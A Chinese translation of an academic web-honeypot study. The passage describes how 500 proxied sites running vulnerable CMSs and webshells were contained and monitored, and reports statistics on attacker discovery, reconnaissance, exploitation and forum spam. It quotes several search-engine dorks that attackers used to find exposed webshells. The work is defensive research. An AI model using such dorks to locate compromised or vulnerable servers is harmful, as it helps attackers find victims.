结果就是几乎所有的Web攻击场景都被详细的研究了:攻击者是怎么扫描Web和使用Google dorks发现可以应用的漏洞的,他们是怎样进行自动攻击的,以及他们是怎样给最终用户传递恶意内容的。然而,这些工作还是留下了很多的谜题。实际上,没有一篇学术文章提到一般的攻击者在完成攻击过程中以及之后的详尽活动。有时候,攻击者只是为了要得到存储在服务器上的信息,例如通过使用SQL注入来盗取用户的证书。然而,在大多数情况下,攻击者想要维持这些机器的访问并把它们作为更大的恶意设备的一部分(例如制造僵尸网络或是给访问这个网页的用户传递恶意文件)。

但是现在的文献大多关注的是如何使人上当的主题,如路过式下载和黑帽式SEO,而这些只是冰山一角。现实生活中,互联网每天都在发生着大量的恶意行为,这些吸引媒体眼球和安全企业注意的高利润网络犯罪的目的亦各不相同。

基于以上方向的研究之所以没有完成是因为几乎所有项目中的蜜罐中所使用的都是虚假或伪造的应用。这就意味着没有真实的攻击被完整执行,通常情况下,攻击者在漏洞“消失”前往往都会完成所有的攻击步骤。

为了了解不同类型攻击者的动机,杀毒软件公司大多是依靠他们客户报告的信息。如最近由Commtouch和StopBadware组织的调查,就是由600个被攻陷的网站的所有者填写的问卷完成,问卷内容是关于攻击者拿下网站做了什么。结果非常有意思,但是调查过程不是自动的,且很难重复进行,且无法保证用户(多数时候是非安全行业)能够成功地识别攻击类型。

本文第一次全面地分析了Web攻击者的行为,我们把分析的重点放在两个方面:1)渗透攻击阶段,我们主要研究在应用程序被攻下前攻击者的表现;2)后渗透攻击阶段,我们测试攻击者在拿下目标后会做什么。第一阶段是分析攻击Web应用的方法和技术(即:怎么做),然而第二阶段是来推断这些攻击的原因和目的(即:为什么)。

因此,本文中我们没有分析一般的SQL注入攻击或是跨站点脚本漏洞。我们的蜜罐技术被应用于吸引和监控那些要控制Web应用的行为。我们的结果有个有意思的趋势是大部分攻击者的表现都很狂野,例如我们鉴定了4个不同的时期以及13个攻击者梦寐以求的目标。我们也提供了一些在蜜罐行为甄别中发现的有趣的攻击场景详情

本文的其他内容如下:在第2节,我们探索了当前Web蜜罐技术的现状和Web攻击的检测与分析。第3节,描述了我们配置的蜜罐服务的网络架构。第4节,详细的介绍了系统的配置和在实验过程中收集数据的方法。最后,第5和第6节总结了我们在渗透攻击阶段和后渗透攻击阶段中攻击者行为的研究结果。第7节,总结全文和对未来这个方向的展望。

二、相关工作

目前,蜜罐作为检测Web攻击和可疑行为的工具,他们被分成两类:客户端蜜罐,它主要是通过主动访问网站或是执行文件来检测漏洞。服务器端蜜罐,使用一个或是更多的漏洞服务来吸引攻击者。

在这个研究中,我们主要关心第2类,因为我们的目的就是要研究攻击者在拿下站点后的行为。过去的几年里几个服务器端蜜罐已经被建议使用,使用蜜罐来提供真实和可能的服务。其实我们可以将蜜罐分为两类:低交互蜜罐和高交互蜜罐。第一种蜜罐提供模拟服务,所以能观察攻击但是不能被攻击者利用。这种蜜罐的能力是有限的,但是能够收集关于Web探针信息和自动攻击行为。相关研究有honeyd[21],Leurre.com[20]和SGNET[16],能够仿真运行系统和服务。另一方面,高交互蜜罐[19]为攻击者提供了一个能被利用的全功能环境。蜜罐技术可以更好地用来洞察攻击者的手法,但是这需要更高要求的设备及维护费用。由于可以利用用虚拟机配置高交互蜜罐,所以在被攻击后可以恢复到初始状态。

对于Web应用的攻击常常是通过配置Web蜜罐。Google Hack Honeypot[3]作为低交互Web蜜罐的一种(设计成用来吸引通过搜索引擎来发现Web漏洞的攻击者),Glastopf[24]和DShieldWeb Honeypot project[4]通过使用模板来仿制Web攻击应用。John等[14]人使用了另外一种低交互的Web蜜罐,使用辅助搜索引擎日志,这个系统能够通过搜索标准来观察和鉴定来自攻击者的恶意查询并配置蜜罐页面。不幸的是使用低交互方法采集结果时,限制了爬虫和自动脚本的访问。任何手动注入都会被错过,因为人们能够快速辨别出系统是一个陷阱,不是一个具有真实功能的应用。除此之外,这个研究收集了一些有意思的关于自动攻击的详情[14]。例如使用引擎蜘蛛爬过后,作者发现蜜罐页面被攻击的平均时间是12天,本地文件泄漏的漏洞在攻击后很容易看到,剩余40%的恶意请求是通过请求蜜罐接收的。其他很常见的攻击模式包括试图访问特定文件(例如:Web安装脚本),寻找有漏洞的远程文件。所有的模式的共同特点是都适用于自动攻击,因为它们只需要接触一些特定的路径或是在URL查询的字符串中注入计算好的数据。作者也提出了适合本文的设备,但这些设备没有被使用,因为他们关注的是攻击者使用攻击后的蜜罐服务器作为其他攻击跳板。我们将在3.1处解释如何处理这些。

如果对研究攻击者的真正活动感兴趣,就要基于高交互蜜罐并采用不同的方式。在这方面的最初的尝试是使用HIAT工具[18]。不幸的是在对这个工具进行评估时没有什么有意思的发现,因为它只运行了几天时间,这个蜜罐仅受到了8000次点击,大多数还是通过良性爬虫。据我们所知,这是第一次大规模评估后渗透攻击阶段攻击者Web行为的研究。

然而,一些类似的工作如根据交互性shell在运行SSH[19,23]高交互蜜罐上的攻击者行为划分已经有人做了。这个研究中的一些有意思的发现是攻击者关注他们的机器,因为特别的任务(例如在机器上运行的扫描和SSH暴力破解攻击和他们通常用的攻击是不同的)。并且他们中的很多人不是很懂攻击,仅使用很简单的攻击方法和一系列的命令,这意味着大多数的攻击者仅仅是按照入门级教程上的攻击步骤来进行操作的。于此同时,在SSH蜜罐上使用的命令需要针对软件配置进行,并尝试安装恶意软件,例如僵尸脚本。我们会在第6节进行。

最后我们的研究关注的是把分类的文件上传到蜜罐,一些已经发表的关于如何侦测相似源代码文件的的文章,特别是抄袭检测的[6,26]。其他一些相似的框架也被提出来,用来检测图片和其他多媒体格式,也是为了达到相同的目的。不幸的是我们看到了一堆文件上传到蜜罐,并且他们大多数存在源代码、二进制数据或是文档混淆的现象(就体现了大多数的抄袭检测是无效的)。而且很多抄袭检测工具和算法对资源的要求很高,很难应用到大的数据库上。这些原因使得抄袭检测不能满足我们的需求,任何类似指纹文件及分类问题,在取证领域都得到了研究。特别是基于上面想法的很多相似的文章在过去的几年中也得到了发表[15,25]。这个方法被证实是有效、快速的,在侦测这类相似性问题上,这些是基于字节流来表示数据的。我们选择使用这种方式,在我们的研究过程中使用的是在文献[15,25]中提到的两种工具。

三、HoneyProxy

我们的蜜罐系统由很多的网站组成(我们的实验中是500),每一个都包含5种最常见或是众所周知有漏洞的内容管理系统。17个预装了PHPWebshell,还有一个是静态网站。

我们解决了在我们的设备上托管的所有Web应用大规模独立安装管理的问题。7台隔离的虚拟机使用的是VMWare服务器。在主机提供商那里,我们只安装了一个ad-hoc代理脚本(HoneyProxy)来将所有接收到的流量传到我们服务器上的VM上。这就能够让我们集中采集数据,而且还能够区分来自主机的不同响应。图1展示了系统的高阶预览。

PHP代理加入两个自定义头到每个访问者的请求中:

  • X-Forwarded-For:这是用于代理的标准头文件,用来设置客户端的真实IP地址。如果客户端的头文件已经设置,最后X-Forwarded-For会列出所有以前看到的IP,并且维持和追踪所有客户通过的代理。

  • X-Server-Path:这个自定义头是通过PHP代理来设置,以让我们能够在分析虚拟机上的请求日志时了解请求域名的来源。例如:X-Server-Path: http://sub1.site.com/。

这两个头文件只在主机提供者的网站和蜜罐的虚拟服务器上追踪目标,对于蜜罐的使用者并不可见。

3.1、容器

每台虚拟机都需要进行合理的配置,以容纳攻击者攻击的同时避免被攻击者对蜜罐造成损害。尤其是,我们阻断了对外连接(否则可能会导致外部主机被被攻击),修补了有漏洞的博客和论坛程序源代码,从而隐藏垃圾邮件发送者发布的邮件(可能导致的恶意广告链接),并且调整了文件系统的权限让攻击者能够攻击他们,但无法控制机器或是改变每个应用程序的主要源代码。尽管如此,攻击者上传的恶意文件仍然存在着危险,我们通过在固定的时间间隔内还原每个虚拟机到原始状态来处理这一问题。

下面,我们简要的介绍在蜜罐机上可能进行的滥用行为,并展示我们自己的阻止或缓解方法。

honeyproxy 01

图1、系统的高阶结构分布

  • 获得机器最高权限。我们使用安装了更新软件和安全补丁的虚拟机来处理这个问题。在每台虚拟机上,Web服务和所有对外服务均使用非特权用户身份来运行。当然,这个解决方案无法阻止0-day攻击,但是我们会尽量来限制攻击面,在仅有3个服务(apache、sshd、mysqld)的机器上运行,其中只有Web服务器暴露在互联网下。我们考虑了利用0-day远程对apache进行攻击的可能性,也可能成为现实,届时绝大多数互联网应用皆会受其影响。

  • 使用蜜罐作为垫脚石来发动攻击和邮件活动。这可能是在配置一个功能齐全的蜜罐之前要部署最为重要的部分。在我们的例子中,我们常常使用iptables规则来阻止(和记录)除了已经建立的连接以外的虚拟机的出站流量。IRC端口(6667)的规则是个例外,在第4和第6节会有详细的介绍。

  • 托管和发布非法内容(如:钓鱼页面)。在有远程文件上传漏洞时,威胁是很难避免的。然而,通过限制上传目录内容的权利,通过防止改变所有现有的HTML和PHP文件,这些能够降低发布非法内容的风险。此外,我们也可以检测到每个VM文件系统的改变,当检测到了一个文件改变,系统就会储存下这个快照。然后虚拟机以规定的时间间隔来恢复到原始状态,从而防止潜在内容传给受害人或是被搜索引擎收录。

  • 推销非法产品和服务(如:垃圾邮件链接)。另一个问题是由应用程序引发的,作为它们基本工作的一部分,允许用户编写并发表评论。任何的博客和论坛CMS都存在这个问题。这些应用很容易成为垃圾邮件的目标,我们会在5.3.1节中进行说明,此外托管蜜罐时确保由机器人发出的链接和帖子不会被任何最终用户访问或被搜索引擎检索是很重要的。我们通过修改包括论坛应用的源代码来解决这个问题(也就是Wordpress和Simple Machines Forum),注释掉负责显示帖子内容的代码。利用这个改进,攻击者仍然有发布消息的可能(用来采集这些消息),但是导航的帖子和评论只能显示空白消息。

这些措施限制了我们从蜜罐上采集的信息(例如,攻击者上传的反向连接脚本会被我们的防火墙阻止),但是我们认为这是防止我们的设备被恶意利用的必要手段。

3.2、数据采集和分析

我们使用两个信息来研究攻击行为:来自HTTP请求的日志,和攻击者获取受害主机权限后修改或是生成的文件。

我们开发了一些分析HTTP请求日志的工具,使我们能够识别出已知的良性爬虫,对我们的Web应用进行的已知攻击,同时获得详细统计数据(接受请求数量和类型、User-Agent、IP地址、每个访问者的地理信息、Referer头的分析,和请求间时间间隔的分析)。我们的分析工具也能够把相对应时区攻击者的时间标准化,检测攻击中可能存在的联系(例如一个自动脚本感染后的Web应用程序上传了一个文件,紧接着另一个IP地址访问了这个上传文件)。我们也开发了一个对于最常见的使用PHP Webshell的HTTP请求日志的解析器,使我们能够提取请求命令并了解攻击者在我们系统上的所作所为。

我们采用两种方式检测上传和修改文件:Web服务日志和来自监控的文件快照。Web服务日志上有上传文件的记录,每个通过我们蜜罐上传文件的过程都会在apache的mod_secruity记录上。在虚拟机的监控目录的文件快照是修改或生产的原文件以及系统上的被解压的压缩文档或加密文件记录的主要来源。我们能够从这些原中提取的文件有85567个,其中的34259个文件是唯一的。

由于我们收集了大量的唯一文件,手动文件分析变得不太可行。因此,为了减轻分析所采集数据的压力,我们首先根据它们的类型归到一起,来看下它们和其他文件有什么事实上的不同。这就需要我们进行类似地下产业那样相同的做法,例如在改变用户名、登录凭证、或是植入后门后,重新进行相同的攻击或是钓鱼攻击。

首先,我们使用Linux file工具对文件进行分类,把他们放到10个宏观的类里:源代码、图片、可执行文件、数据、文档、文本、HTML文件、链接、多媒体等。

然后我们对同一类型诸多文件进行查看,这些文件只是少数字节不同(由于剪切和粘贴会产生空白)或是源代码注释中存在不同。因此,要提高我们的对比结果,我们要提前处理每个文件并把它转成规范形式。作为规整化的一部分,我们删除所有的双空格、制表符、换行符以及所有的注释(C类型和bash类型),最后进行标准化处理新行,并在代码中分离出电子邮箱地址。对于HTML文件,我们使用html2text工具来分离出所有的HTML标签。

PHP文件使用了一个附加前处理的步骤。我们发现大量的PHP文件上传到我们的蜜罐上,导致了与Web应用的混淆。这种形式的文件即使是使用自动工具也很难检测到用不同方式编码的相似文件的相同之处。为了克服这个问题,我们建立了一个基于evalhook PHP[10]扩展的PHP自动反混淆工具,包含动态代码评估功能的模块,来实现一步一步对PHP代码的反混淆。我们在没有Web应用的时候在虚拟机上部署了我们的工具(避免发生远程计算机攻击或是扫描,因为一些混淆的脚本可能会实现远程连接或是攻击),同时对每个文件进行至少一级的反混淆操作(例如,嵌套调用eval()),并保存反混淆代码。

我们的方法可以让我们反混淆几乎所有已混淆的PHP文件(例如,gzip和base64编码和解码,使用eval()函数的动态评估)。我们唯一不能反混淆的PHP文件是带有错误终止(往往是因为语法错误)以及使用专门的商业编码工具的文件,如Zend Optimizer或是ionCube PHP Encoder。但是我们观察到仅有3个样本使用了这些工具进行编码。

总的来说,我们成功的反混淆了1217个截然不同的文件,占到我们收集的源代码的24%。有意思的是,每个文件都被正常的编码多次,需要平均9次反混淆操作还原PHP代码(有些样本需要惊人的101次)。

3.2.1、相似性归类

一旦规整化步骤完成,就可以计算在相同类型文件中两两之间的相似性,我们使用了2种进行相似性检测的标准化工具ssdeep[15]和sdhash[25]。然后,我们使用简单的分类算法对所有的文件进行分类,相似值大于0.5的被分到同一个组中。

在我们不能找到类似的元素时,就会放弃该文件。对于其余的部分,我们进行手动分析,根据他们的不同目的分成不同的类别。因为文件已经根据相似性进行分组,对每个组的文件进行分析就成必须(如打开和检查内容)。在这个阶段里,我们能够定义多个文件类别,能够让我们更好地了解攻击者的意图。另外,这一步让我们对有趣的攻击有了新的见解,其中的一些会在下面的部分通过深入的例子进行介绍。

四、配置系统

500个蜜罐代理部署到了共享主机计划上,这些主机选用了8个国际上最流行的互联网虚拟主机提供商的主机(来自美国、法国、德国和荷兰)。为了让蜜罐代理能够正常工作,每个供应商必须支持通过PHP使用cURL库,同时支持除了80和443端口以外的其他端口对外连接。

为了能使用户登录我们的蜜罐网页,我们在GoDaddy.com上购买了100域名,同时带有隐私保护。这些域名被平均分配在.COM、.ORG和.net顶级域名中,并均匀地分配给提供商主机。对于每个提供商,我们为每个域名配置了4个附加的子域名,这样就有了5个不同的网站(为保证蜜罐的匿名性,我们叫它们www.site.com、sub1.site.com、sub2.site.com、sub3.site.com和sub4.site.com),最后,我们在首页上公布这500个域名,在研究小组的网站上以透明的方式进行连接,这种方法已经由MUTER[18]等出于类似目的提出。

我们使用修改后的ftp-deploy脚本[11]分批上传我们给500个网站定制的PHP代理。这就简化了发布和更新PHP代理的操作,并统一了上传文件到服务器上的操作。由于与.htaccess、ModRewrite以及cURL的结合,我们可以把用户的请求透明地转发到对应虚拟机的适当URL上。任何尝试读取一个不存在的资源,或是访问代理页面都会显示空白页面给用户。在不考虑账户的时间线攻击或是入侵主机提供商服务器前提下,访问者无法知道他们访问的是代理。

安装在每个网站上的蜜罐系统都是由索引文件、PHP代理脚本和配置文件组成的。索引文件是网站的主页,它会连接到存在漏洞的Web应用上或是其他蜜罐网站,这些是根据配置文件的内容来定的。

每个子域名的连接结构是不同的,如图1(a)中所示。实际上,同一个域名下的每个子域最多和其他2个不同的子域名连接。我们建立的连接图就是为了检测来自系统的可能导致自动连接和执行自动攻击或扫描的流量。

4.1、安装Web应用

我们在7台虚拟机上总共安装了5个有漏洞的CMS,这些CMS是最知名的内容管理系统,同时在我们开始部署时就具有漏洞。对于每个CMS我们都选择了一个有大量漏洞的版本,或者至少有一个能让攻击者完全控制的应用程序漏洞。我们也限制选择发布时间不超过5年的CMS版本,来保证我们网站可以吸引攻击者。

我们这样选择的目的是出于攻击者选择低门槛目标的想法。另一方面,我们的蜜罐可能会错过精致而不落俗套的攻击,这些攻击主要针对著名机构或是知名网站。然而,这些攻击不容易通过蜜罐来研究,因此不在我们研究的范围内。

表1描述了安装在7台虚拟机上的应用漏洞、发布的时间、应用特点以及存在的漏洞。我们已经安装了WordPress 2.8的两个实例,一个使用CAPCHA来保护评论,另一个没有使用CAPCHA保护,这是为查看是否有攻击者会手动注册虚假账号,还是系统自动解决CAPCHA。但似乎没有这种情况,因为我们没有接收到任何被CAPTCHA保护的博客上的评论。因此我们不会讨论在文章其余部分讨论的这部分内容。

4.2、收集数据

从2011年12月23日开始,我们收集了运行了100天虚拟机上的日志。所有的结果出自这7台机器的日志。

总的来说,我们收集了9.5千兆的原始HTTP请求,由大概11.0M的GET和1.9M的POST。我们的蜜罐被超过了73000个不同的IP地址访问过,这些IP地址跨越了178个国家和超过11,000的用户代理。这要比之前John等人在低交互蜜罐上[14]观察到的幅值上大一倍。此外,我们还提取超过85,000个在攻击我们的网址过程中上传或是修改的文件。

有两种不同的方式来处理我们收集的数据:一是通过看Web日志来确定和研究攻击;另一种是通过分析攻击者上传和修改的文件来尽量和目标建立关联。接下来的两节会从这两个视角进行描述。

五、渗透攻击和后渗透攻击行为

为了能单纯的使用蜜罐来更好的分析攻击者的行为,我们决定把攻击分为4个不同的阶段:发现、侦察、渗透攻击和后渗透攻击。发现阶段描述攻击者如何找到他们的目标,例如通过搜索引擎查询或是通过简单的IP地址扫描。侦察阶段包括被访问网页的相关信息,如使用自动爬虫或是手动接入一个匿名的代理。在渗透攻击阶段,我们描述了对我们的Web应用程序进行攻击的数量和类型。有些攻击达到了他们的最终目标(如使一个网页重新指向一个恶意网站),但是一些只是进行了上传操作。在这种情况下,上传的文件通常是Webshell,攻击者利用该文件稍后进行手动登入被攻击系统并继续进行攻击行为。我们把这之后的阶段叫做后渗透攻击阶段。

表1简要说明安装到蜜罐虚拟机上的应用程序特点和可以利用的漏洞列表。

honeyproxy 02

表1、蜜罐虚拟机上安装的应用程序

要呈现所有可能行为的组合是很难的。并不是每一次攻击都会出现这几个阶段(如侦察和渗透攻击可能在一个阶段中执行),而一些访问并不会导致任何实质性的攻击,有时甚至不能将来自不同IP地址的同一个攻击者的不同行为关联在一起。但是,通过在每个阶段中收集的数据中提炼常见模式,我们能够在我们的实验观察中识别出“典型的攻击形态”。这些信息可以进行如下概括:

1、69.8%的攻击者使用搜索机器人来访问页面。这样的搜索经常试图隐藏User-Agent,或是伪装成合法的浏览器或是搜索引擎爬虫。

2、当侦察鉴定这是攻击目标后的几秒钟,第二阶段的自动系统会访问该页面并执行真正的渗透攻击。这通常是单独的一个不能伪造用户代理的脚本,因此,常常出现例如libwww/perl的字符串。

3、如何漏洞允许攻击者上传文件,在这种情况下,46%的渗透攻击机器人会上传Webshell。此外,大多数的攻击者会成幂次方的上传相同的文件(平均9,有时多达30),大致可以肯定攻击是成功的。

4、平均在3小时26分钟后,攻击者通过之前上传的shell登录机器。这个和攻击者进行交互的平均登录时间是5分37秒。

虽然这代表了从我们数据库中提取的最常见的行为,但我们也观察到了很多其他行为组合,我们会在其余的章节中进行描述。最后,要提的是攻击者行为会随着应用和利用漏洞的不同而发生改变。因此,我们应该说之前的描述总结了针对osCommerce 2.2的最常见攻击行为(迄今为止在我们蜜罐上遭受攻击次数最多的Web应用)。

图2对每个阶段的特征进行了快速的总结。在余下的章节中有更多的信息和统计数据。然后,根据在渗透攻击或后渗透攻击时期上传和修改文件的分析,我们在第6节将会根据实验观察来努力总结不同的攻击目标和动机。

honeyproxy 03 图2、攻击的四个阶段honeyproxy 04图3、研究过程中蜜罐系统接收到的HTTP请求量

honeyproxy 05图4、来自各国的请求数量

5.1、发现阶段

第一次HTTP请求进入我们的蜜罐代理是在我们配置好蜜罐后的10分钟里,来自Google机器人。第一次直接请求我们的虚拟机(在8002端口)是在搭建后的1小时50分钟。

在最初的几天里,多数流量是由良性Web爬虫造成,因此我们设计了一个简单的解决方法,在余下的流量里筛选出良性爬虫产生的流量。因为单独的HTTP头文件是不可信的(如攻击者常常在他们所用的脚本里使用“Googlebot”的User-Agent),我们收集了机器人的公开信息,我们把这些信息与日志中提取的信息结合并在WHOIS结果中进行确认,以鉴别来自已知公司的爬虫。通过结合User-Agent字符串和关联到已知企业范围的IP地址,我们可以鉴定14种来自1965个不同的IP地址的不同爬虫。尽管这不并非完整的爬虫列表(如约翰等人[14]使用了一个更复杂的技术来鉴定16种Web爬虫),但足够成功过滤由爬虫产生的流量。

在图3中显示了关于请求的统计学数据。良性爬虫的请求相对稳定,但是随着时间的流逝,蜜罐会被搜索引擎索引并被连接到黑客论坛或是连接到链接养殖场上,恶意僵尸或是爬虫的请求数量同时也呈线性增加。

当绘制这些统计数据时,我们在访问模式上也确定了一些可疑的流量,在一些情况下,短短的几个小时我们的应用就被一些特别的IP地址访问(和每天平均192次相比),这清晰地表明一个僵尸网络正在扫描我们的网站。

有趣的是,在系统搭建好后的2小时10分钟,当论坛开始接受一些自动注册时我们就观察到了第一个可疑行为。然而,论坛上的第一个帖子出现在4天后的12月27号。更令人惊奇的事实是,从爬虫的第一次访问恰好带来了第一次攻击:在我们的蜜罐配置好后的4小时30分钟。在波兰的浏览器访问了我们的osCommerce应用程序并通过文件上传漏洞上传了恶意PHP脚本到蜜罐。图4总结了我们的蜜罐收到的访问(良性爬虫除外),并通过地理地址将它们进行了划分。

5.1.1、Referer分析

分析HTTP头中的Referer(无论何时都可用)可以帮助我们确定访问者是怎么在Web上发现蜜罐的。根据结果我们可以区分两类主要的用户:使用搜索引擎来寻找应用程序漏洞的攻击者,和通过邮件或是公共论坛上发帖来进行钓鱼的受害者(我们将在6.8节介绍这个现象)。

Referer集中共有66449人次访问了我们的蜜罐页面。出现的最频繁的是搜索引擎,其次是是Web邮件和公共论坛。其中来自Google的记录有17156条,攻击者用来寻找我们网站时所使用的其他搜索引擎有Yandex(1016条)、Bing(263条)、Yahoo(98条)。最后,其他的15746次请求来自几个公共的Web论坛,部分论坛属于黑客组织,部分来源是垃圾邮件机器人。

最后我们通过从网页搜索引擎上的Referer集提取了搜索查询(当用于恶意目的时也叫做“dorks”)。我们的分析表明攻击者使用的搜索条件高度依赖于部署在蜜罐上的应用。例如,访问Joomla应用最常用的dork包含有‘joomla allows you’字样,同时Simple Machines Forum可以通过搜索‘powered by SMF’来查到。我们的机器包含的公开Webshell也可以通过类似‘inurl:c99.php’、‘[cyber anarchy shell]’甚至是‘[ftp buteforcer][security info][processes][mysql][php-code][encoder][backdoor][back-connection][home][enumerate][md5-lookup][word-lists][milw0rm it!][search] [selfkill][about]’来搜索到。后面的查询尽管很长,但仍然有超过150次的Web shell访问来自于它。更可能的搜索来源是通过‘intitle’:因为脚本的名字和标题常会被攻击者自定义,相比搜索固定的url类型或是网页主题,搜索它们的文字内容更可能返回更多结果。一些专用的搜索引擎也有被用到,如devilfinder.com,有141次访问Web shell是通过该搜索引擎。这个搜索引擎声称和一般的搜索引擎比会显示更多低排名的结果,且不会储存任何搜索数据,相同的Web页面最多可以返回多达300条记录,这就很适合攻击者寻找dorks和长长的漏洞网站列表。

5.2、侦察阶段

在移除良性爬虫流量后,我们的蜜罐接收到的大部分流量都来源不明,其中许多是源于自动的HTTP请求。在研究过程中,我们发现这些请求大部分是针对我们蜜罐的攻击或垃圾邮件。

然而,区分攻击者是手动访问还是自动访问还是很难的。我们把下面的三个准则作为自动请求的标志:

  • 间隔时间。如果请求来自相同的IP地址,到达的频率高于某个阀值。我们就会认为流量来源于一个可能的恶意机器。

  • 图片请求。自动化系统特别需要优化其请求速度,几乎从来不会要求来自系统的图像或是演示相关的内容。扫描访问者的Web日志,那些从来没有请求图像或是CSS内容是自动扫描的一个简单特点。

  • 子域名访问模式。如第4节中说,我们配置的每个网站都包含很多根据预定的模式相互连接的子域名。如果在很短的时间里有相同的IP访问,根据我们的模式,那么这很有可能是一个自动化的爬虫。

例如,在移除良性爬虫流量之后,系统在不接收图片请求的情况总共接收到了9.5M的访问量,与之相比,系统被请求图片和演示内容时才接收到1.8M访问量。相反,只有641个IP地址(对于13.4K的访问量)是按照精确的访问连接访问网站的,其中60%的访问遵循广度优先的原则。

85%自动化请求是针对我们的论坛应用程序,都是注册虚假用户信息和发布垃圾邮件的请求。余下的1.4M请求直接指向剩余的6个蜜罐应用程序,95K是模仿已知搜索引擎User-Agent的流量,还有264K的流量是在多个User-Agent相互切换访问的结果。余下的请求不包含任何可疑的用户代理字符串,没有按照域名路径,也不请求图片,所以我们把它们归类为机器人请求。

5.3、渗透攻击阶段

首要的工作是通过解析、搜索日志文件中的攻击痕迹来检查渗透攻击企图。幸运的是在已经知晓Web应用程序漏洞的情况下,我们可以通过一系列正则表达式在日志中快速、稳定的检索攻击信息。

总体而言,我们记录了444种不同的渗透攻击会话。一个有趣发现是其中的310种使用了两个或是多个User-Agent字符串,正如第5节所说,这种情况在使用侦察机器人和自动攻击脚本来提高攻击速度并快速寻找目标时便会发生。特别是,我们所观察的三分之二(294个)的渗透攻击会话所使用的User-Agent与LibWWW Perl库(libwww/perl)相关。

在这样的一些渗透攻击会话中,攻击者试图掩饰他使用的良性机器人工具和浏览器。在渗透攻击会话中常被使用的一些爬虫User-Agent字符串是:FreeWebMonitoring、Gigabot/3.0、gsa-crawler、IlTrovatore-Setaccio/1.2、bingbot/2.0和Googlebot/2.1。

每个渗透攻击会话最显著的副作用是上传或修改受害主机上的文件。特别奇怪的是,我们注意到渗透攻击会话中上传文件时平均会上传9.75次。这种奇怪的现象可以用这样的事实来解释,大多数渗透攻击工具都是自动执行的,攻击者无法实时查看攻击是否成功,多次上传相同的文件可以增加文件上传成功的几率。

honeyproxy 06

图5、攻击会话的时间分布

使用3.2节所介绍的方法,我们将上传到蜜罐的文件自动归类为漏洞利用服务的结果。然后,我们把渗透攻击会话信息和收集文件的分类结果进行关联,这个阶段的分析结果显示攻击会话所上传文件的构成:45.75%的文件是Webshell,17.25%的文件是钓鱼文件(简单的HTML页面或是完整的钓鱼攻击包),1.75%的文件是自动下载和远程URL执行文件,1.5%的文件是本地信息搜集文件。最终,32.75%的上传文件无法用我们的系统进行归类,因为它们与我们所观察的其他文件没有相似之处,或者是与我们研究无关的多媒体文件和图片(例如,用于篡改页面的图片或音乐)。

图5显示了我们的蜜罐遭受攻击的规整时间,该值是计算机根据IP地址所在地理位置的时区调整后的数值。同样,这些数值无法反应攻击者在代理情况下使用不同IP地址进行攻击的正确数值。然而,该图显示了在渗透攻击和后渗透攻击阶段在白天进行的明显趋势。尤其是我们观察到的交互会话中只有很少发生在凌晨4点到上午10点,可能是因为攻击者也需要休息的缘故。有趣的是在渗透攻击阶段绝大多数自动化攻击的时间分布上也显示了类似的趋势(尽管不清晰)。这可能受感染的僵尸主机进行扫描的结果,而这些主机在晚上便会被用户关掉。

搜索我们攻击日志来得到关于直接访问我们虚拟机的攻击者信息,这些攻击者没有通过蜜罐代理访问,我们发现这种攻击数量不多,但仍然有相当数量的攻击是直接攻击蜜罐的IP:PORT。特别是,我们发现这种攻击中的25次是针对蜜罐上的电子商务应用,19次是针对主机上的webshell和静态网站。在这两种情况下,攻击者可以使用之前的漏洞来提取我们机器的IP地址(保存在被许多攻击者经常下载的osCommerce配置文件中,或是通过交互shell来检查机器),并在之后的攻击中用到这些信息。

5.3.1、发帖

在第一天的运行后,我们的论坛应用程序收到大量的访问流量,大部分流量是虚假注册和垃圾邮件机器人发出的。我们分析了机器数据库的每一个快照,目的是提取论坛帖子和嵌入其中的每一条URL信息。这让我们鉴别和分类了几种垃圾邮件和链接养殖场,同时发现了一些恶意出售论坛账号的行为。

在我们的研究中,共有68201条唯一信息被发布,这些信息来自15753个用户使用的3144唯一IP地址。每天论坛的数据体现出高流量留言板是典型的媒介:平均每天发帖604条(最高达3085条),在高峰时刻平均有232个用户在线(最多达403个)。

更让人吃惊的是论坛注册者的数量要比发帖的数量大的多:平均每天1907次注册,在2012年3月23日达到最大的14400次。这种现象非常常见,在我们论坛上进行操作的33.8%IP地址都至少创建了一个虚假账户,但是从来不发帖,这表明对于犯罪者来说或许有完成自动注册的某种激励,或许这比垃圾邮件活动更能获得价值。我们设想这些虚假论坛账号可以在黑市上进行出售。我们确实发现了1260个账号是由同一个IP地址创建的,几天之后使用其他的IP来发布消息,这不一定能证实我们的推论,但是至少说明论坛垃圾信息已经成为一种复杂的生态体系,且在一次垃圾信息或链接养殖场的幕后找出其中某个人员现如今是非常难的。

进一步查看注册用户和发布垃圾信息的IP地址发现,这些IP大部分来自于美国或东欧国家(主要是俄罗斯、乌克兰、波兰、拉脱维亚、罗马尼亚)。在我们的论坛上活跃着6687个不同的IP地址(至少发了一个帖子或是注册了一个或是多个账号),其中,36.8%来自美国,24.6%来自东欧。如果只考虑至少在论坛上发一次帖子的IP地址,那么国家的覆盖率就会彻底不同,这种情况下,来自美国的IP地址占了62.3%(东欧的IP地址占21.2%)。

最后,我们把论坛上的所有帖子根据关键字进行了简单分类。这样就可以让我们快速鉴别常见的垃圾邮件主题和活动。通过这种方法,我们能够自动分类63763条信息(占总数的93.5%)。

我们提取出来的主题信息趋势说明最常见的主题类型是药品(占分类消息的55%,最高每天有2000条信息),其次是搜索引擎优化(SEO)和电子产品(11%)、成人内容(8%)、卫生保健和家庭安全(6%)。

我们使用了两种自动的分析工具来对所有帖子中的链接进行一个深入分析来检测恶意网页,即Google安全浏览器[22]和Wepawet[8]。这两种工具的检测结果说明我们从论坛上提取的221423个URL中只是很少的一部分(2248条,大概1%)包含恶意或是可能有害的链接。

5.4、后渗透攻击阶段

后渗透攻击阶段主要是分析攻击者和被感染的机器之间的联系。在我们的实验中,是通过在渗透攻击阶段安装Webshell,或是通过访问预先安装到我们的虚拟机上的公开Web shell增加收集的数据。

后渗透攻击阶段分析中值得特别关注,因为在交互会话中攻击者可以发出任意指令。然而,这些Webshell不会有任何会话概念:它们仅仅是无状态条件下通过HTTP请求接收命令并提供响应而已。

在我们的实验中,我们总共接收到了74497次shell命令。这些命令从简单文件系统中衍变而来对文件进行检查和编辑,以及复杂到上传新文件和执行Web扫描等任务。

为了更好的理解这个数字代表了什么,我们决定将每次接收的来自同一个IP地址的独立命令在虚拟“交互会话”中组合起来,同时连续命令之间的时间间隔少于5分钟。

